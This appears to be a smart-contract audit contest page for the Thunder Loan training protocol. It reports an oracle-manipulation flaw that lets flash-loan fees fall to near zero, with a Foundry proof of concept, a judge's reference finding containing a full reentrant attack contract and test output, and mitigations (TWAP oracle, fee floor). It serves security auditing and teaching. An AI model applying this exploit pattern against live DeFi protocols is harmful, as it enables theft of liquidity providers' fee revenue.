Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: medium
Valid

Oracle Manipulation via TSwap Spot Price Enables Near-Zero Fee Flash Loans

Field Value
Severity High
Location src/protocol/OracleUpgradeable.sol lines 19–22

Description

Thunder Loan calculates flash loan fees using the WETH value of the borrowed token. The price is obtained at OracleUpgradeable.sol#L21:

function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}

getPriceOfOnePoolTokenInWeth() returns the instantaneous spot price of the TSwap pool i.e., the ratio of the pool's current token reserves. Because TSwap pool reserves can be shifted within a single transaction via a large swap (funded by a flash loan from another source), the spot price can be manipulated to near-zero before the Thunder Loan fee is calculated.

The fee calculation at ThunderLoan.sol#L247-L250:

uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

If getPriceInWeth returns a manipulated price of 1e6 instead of the honest 1e18, the fee drops by a factor of 1,000,000x.

Exploit Walkthrough

  1. Identify a token with a TSwap pool and a Thunder Loan market.

  2. Take a flash loan of the token from another protocol.

  3. Swap it on the TSwap pool, crashing the spot price of the token.

  4. Call ThunderLoan::flashloan(), the fee is calculated against the manipulated price.

  5. Repay the original flash loan.

  6. Net cost of the Thunder Loan flash loan: near zero.

The Foundry PoC demonstrates a fee of 0.3 ETH at honest price falling to ~3e-13 ETH at the manipulated price with 1,000,000x reduction.

Impact

  • The protocol loses its primary revenue source (flash loan fees).

  • LPs earn zero yield → rational LPs withdraw all capital.

  • In extreme cases, could be combined with other protocol logic to extract net value.

Proof of Concept

function test_POC_H3_oracle_manipulation() public {
// 1. Setup our manipulable infrastructure
manipulableFactory = new MockPoolFactoryManipulable();
// Deploy fresh ThunderLoan implementation and proxy
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy freshProxy = new ERC1967Proxy(address(impl), "");
newThunderLoan = ThunderLoan(address(freshProxy));
newThunderLoan.initialize(address(manipulableFactory));
// Create pool for tokenA in our manipulable factory
address poolAddress = manipulableFactory.createPool(address(tokenA));
MockTSwapPoolManipulable pool = MockTSwapPoolManipulable(poolAddress);
// Allow tokenA
vm.prank(newThunderLoan.owner());
newThunderLoan.setAllowedToken(tokenA, true);
// LP deposits 1000e18 tokens to provide liquidity
uint256 depositAmt = 1000e18;
tokenA.mint(address(this), depositAmt);
tokenA.approve(address(newThunderLoan), depositAmt);
newThunderLoan.deposit(tokenA, depositAmt);
// Deploy attack receiver
attackReceiver = new OracleReceiver(address(newThunderLoan));
// 2. Normal State: Get fee at 1:1 price
pool.setPrice(1e18); // 1:1 price
uint256 borrowAmt = 100e18;
uint256 normalFee = newThunderLoan.getCalculatedFee(tokenA, borrowAmt);
// 3. Attack State: Manipulate price down to near-zero
pool.setPrice(1e12); // price slashed by 1,000,000x
uint256 manipulatedFee = newThunderLoan.getCalculatedFee(tokenA, borrowAmt);
// Execute flash loan under manipulated price
tokenA.mint(address(attackReceiver), manipulatedFee); // fund the receiver with the tiny fee
newThunderLoan.flashloan(address(attackReceiver), tokenA, borrowAmt, "");
// 4. Assertions
assertGt(normalFee, manipulatedFee, "Normal fee should be greater than manipulated fee");
assertEq(manipulatedFee, normalFee / 1e6, "Fee should be exactly 1,000,000x cheaper due to manipulation");
}

Recommended Mitigation

Two layers of defense - one structural, one belt-and-suspenders:

1. Replace spot price oracle with TWAP (Time-Weighted Average Price)

Switch from ITSwapPool.getPriceOfOnePoolTokenInWeth() (instantaneous reserves) to a TWAP oracle that averages the price over a meaningful window (e.g., 30 minutes ≈ 180 blocks on Ethereum).

function getPriceInWeth(address token) public view returns (uint256) {
- address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
- return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
+ // Use TWAP with a 30-minute window
+ address pool = IPoolFactory(s_poolFactory).getPool(token);
+ (int24 arithmeticMeanTick, ) = OracleLibrary.consult(
+ address(pool),
+ 1800 // 30 minutes in seconds
+ );
+ return OracleLibrary.getQuoteAtTick(
+ arithmeticMeanTick,
+ uint128(1e18), // 1 token worth
+ address(token),
+ address(WETH)
+ );
}

2. Add a minimum fee floor (defense-in-depth)

Even with TWAP, edge conditions (e.g., a newly listed token with thin liquidity) could produce unexpectedly low fees. Add a proportional floor:

uint256 public constant MIN_FEE_BASIS_POINTS = 1; // 0.01%
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
// Enforce minimum fee: at least MIN_FEE_BASIS_POINTS of the borrowed value
uint256 minFee = (amount * MIN_FEE_BASIS_POINTS * s_flashLoanFee) / (s_feePrecision * 10000);
if (fee < minFee) {
fee = minFee;
}
}

This ensures that even if the oracle price is manipulated or returns an unexpectedly low value, the protocol always collects a baseline fee.

3. If neither TWAP nor Chainlink is available for a token

Some niche tokens may only be traded on TSwap with no secondary oracle. In that case:

  • Document the risk explicitly in the token's allow-list entry.

  • Require a higher minimum fee floor for such tokens (e.g., 0.5% instead of 0.01%).

  • Consider a circuit breaker: if the spot price deviates more than X% from a trailing TWAP, pause flash loans for that token.


Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.

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